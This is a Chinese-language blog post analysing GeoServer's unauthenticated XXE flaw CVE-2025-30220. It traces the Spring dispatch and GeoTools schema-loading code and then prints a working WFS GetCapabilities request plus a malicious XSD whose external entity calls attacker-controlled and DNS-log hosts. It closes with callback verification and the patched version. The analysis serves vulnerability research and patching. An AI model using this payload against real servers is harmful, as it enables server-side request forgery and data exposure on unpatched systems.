Geoserver未授权XXE(CVE-2025-30220)漏洞代码分析
follycat Lv3
1
本文首发于奇安信攻防社区  https://forum.butian.net/article/749

环境搭建

https://geoserver.org/release/2.27.0/

去官网下载bin执行文件,并添加debug模式,也就是把下面的代码加到start.sh中就可以

1
2
3
4
5
JAVA_OPTS=""

JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005"

export JAVA_OPTS

漏洞成因

Geoserver未能正确处理GeoTools中的XML输入中的XSD引用,导致攻击者可以通过构造恶意的XSD文件,并远程进行加载,从而执行恶意操作。

漏洞分析

路由与功能点分析

首先还是先来分析一下他的路由,其实在环境搭建好,进入主页面的时候就可以发现他是进行了一个跳转的操作的,可以看到他源码的index.html中重定向到了web/路由。

因为是Geoserver是使用Servlet进行前后端交互的,直接到web.xml中查看他的规则。

首先是他的路由规则,他是通过Spring MVC的org.springframework.web.servlet.DispatcherServlet来进行GeoServer的请求分发的,这个Servlet会接收所以的Web请求,并根据Spring上下文定义的URL映射将请求分发给对应的控制器。

然后是他的业务逻辑

这里通过contextConfigLocation的上下文参数来指定配置文件位置,这里是applicationContext.xml文件和applicationSecurityContext.xml文件,这俩个文件一个是用于业务逻辑定义,另一个是用于安全设置,通过对这几个文件的搜索可以来进行业务逻辑判断。

然后这个文件里还有一些其他的功能的Listener和Filter,比如GeoServerContextLoaderListener负责加载和初始化上下文,这些就不一一分析了。

直接看org.springframework.web.servlet.DispatcherServlet类当中的doDispatch方法。

这个方法是所有Web请求的入口点,负责将处理器和拦截器链与Web请求相匹配,这里重点分析其中的getHandler方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
Iterator var2 = this.handlerMappings.iterator();

while(var2.hasNext()) {
HandlerMapping mapping = (HandlerMapping)var2.next();
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}

return null;
}

这个方法会根据传入的HttpServletRequest来找到对应的HandlerExecutionChain,并返回可以处理该请求的处理器和拦截器链。其中handlerMappings是在初始化时从Spring的上下文中查找并收集的所有HandlerMapingBean,随后回到doDispatch

当返回了相应的处理器和拦截器链之后,在doDispatch方法中将会执行handle方法,在这里会将控制权交给实际的业务逻辑处理器,从而进入实际的业务逻辑。

漏洞点分析

这个漏洞的触发点在org.geotools.xsd.Schemas类,这里从org.geotools.xsd.impl.ParserHandler#loadSchemas方法开始看。

这个方法是用于处理XSD文件的一个方法,其核心功能点在于根据XML 实例文档中提供的模式位置信息,加载所有相关的 XSD 文件,并构建一个可用于验证和查询的模式索引,其中schemas[i / 2] = Schemas.parse(location, locators, resolvers, uriHandlers);是用于处理 XSD文档加载并解析的一段代码。

跟进这个parse方法

这里主要是创建了一个ResouceSet,并将传入的参数注册到这个ResourceSet中,以便在后面的解析中使用。

然后再跟进到下一个parse方法

这个方法接收一个URL字符串(location)以及在上一个方法中配置过的ResoutceSet,并对XSD文档进行解析和加载。

这里要需要注意的有两个地方一个是对location的处理,这里对location进行了一系列处理操作,然后就将其加入了ResoutceSet中,并且没有对ResoutceSet有什么过滤的操作。

第二点就是触发点xsdMainResource.load(in, options);这里会执行XML解析,也就是触发点。

debug验证以及细节分析

知道了漏洞点以及路由规则现在开始构造payload并对其中的细节进行一些分析。

首先就是payload应该怎么构造,可以查看一下他的用户手册

可以看到GetCapablits这一操作,这个操作会向WFS capabilities服务器发送请求,以获取该服务器支持的操作和服务或功能列表,重点看schemaLocation这一参数,这个参数指定XML文档所使用的XML Schema文件的位置,这个参数的第一个值为命名空间,第二值是该命名空间内需要加载的XSD文件。

这是一个服务器请求的操作,并且会远程加载指定的XSD文件,很自然的想到可以进行XXE攻击,我们将加载的XSD文件换成自己构造的恶意XSD就可以进行恶意请求,构造payload。

1
2
3
4
5
6
7
<wfs:GetCapabilities
service="WFS"
version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://192.168.24.1:8080 http://192.168.24.1:8080/evil.xsd">
</wfs:GetCapabilities>

构造的恶意.xsd文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY % dtd SYSTEM "http://68d312f298.ipv6.1433.eu.org.">
%dtd;
%all;
]>
<xsd:schema
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:gml="http://www.opengis.net/gml"
xmlns:sf="http://www.openplans.org/spearfish"
elementFormDefault="qualified"
targetNamespace="http://www.openplans.org/spearfish">

<xsd:import
namespace="http://www.opengis.net/gml"
schemaLocation="http://schemas.opengis.net/gml/3.1.1/base/gml.xsd" />

<xsd:complexType name="archsitesType">
<xsd:annotation>
<xsd:documentation>&xxe;</xsd:documentation>
</xsd:annotation>
<xsd:sequence>
<xsd:element name="the_geom" type="gml:PointPropertyType" />
<xsd:element name="cat" type="xsd:long" />
<xsd:element name="str1" type="xsd:string" />
</xsd:sequence>
</xsd:complexType>

<xsd:element
name="archsites"
type="sf:archsitesType" />
</xsd:schema>

wfs、wcs、wms那些路由都可以,发包。

首先会被DispatcherServlet拦截进行路由以及业务逻辑处理器分配

然后进入Dispatch,在这里进行请求处理,以及服务识别操作。

其中的service方法就是用于服务识别的

这里会识别出服务的类型是什么,并且在后续会根据识别出的服务类型进行执行操作,也就是dispatch方法。

随后进入parseRequestXML() 这个处理XML类型的数据的方法

随后一直跳转到startElement中调用loadSchemas方法的地方。

到了loadSchemas方法就和之前漏洞点分析的差不多了,通过调用parse方法一直到解析XML的地方。

至此分析完毕

漏洞验证

发送请求

本地起http服务被请求

dns服务器被请求

漏洞修复

厂商已发出新版本修复漏洞,更新至最新版本

https://github.com/geoserver/geoserver/releases/tag/2.27.1

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View